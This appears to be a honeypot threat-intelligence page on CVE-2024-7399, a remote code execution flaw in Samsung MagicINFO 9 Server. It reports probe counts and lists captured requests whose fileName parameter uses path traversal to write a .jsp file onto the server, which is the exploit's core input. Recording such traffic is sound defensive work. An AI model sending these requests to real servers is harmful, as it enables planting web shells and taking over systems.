CVE-2024-7399: Samsung MagicINFO 9 Server 21.1050.0 - Remote Code Execution

HoneyLabs honeypots recorded 6 probes matching CVE-2024-7399 from 1 distinct source IP address in the last 7 days. Severity is rated high.

This CVE is on CISA's Known Exploited Vulnerabilities list. CISA added it on 2026-04-24.

Request paths that identify it

• /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/{{*}}.jsp&deviceType=abc&deviceModelName=tes…

Addresses probing it

Networks it comes from

Where it comes from

Captured requests

• /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/tywTpC.jsp&deviceType=abc&deviceModelName=test&swVer=123
• /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/ZkwJ6t.jsp&deviceType=abc&deviceModelName=test&swVer=123
• /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/Pps8uv.jsp&deviceType=abc&deviceModelName=test&swVer=123
• /MagicInfo/servlet/SWUpdateFileUploader?fileName=./../../../../../../server/bsGPog.jsp&deviceType=abc&deviceModelName=test&swVer=123

HTTP client fingerprints

• b11cuq060_00050813_95cc9d02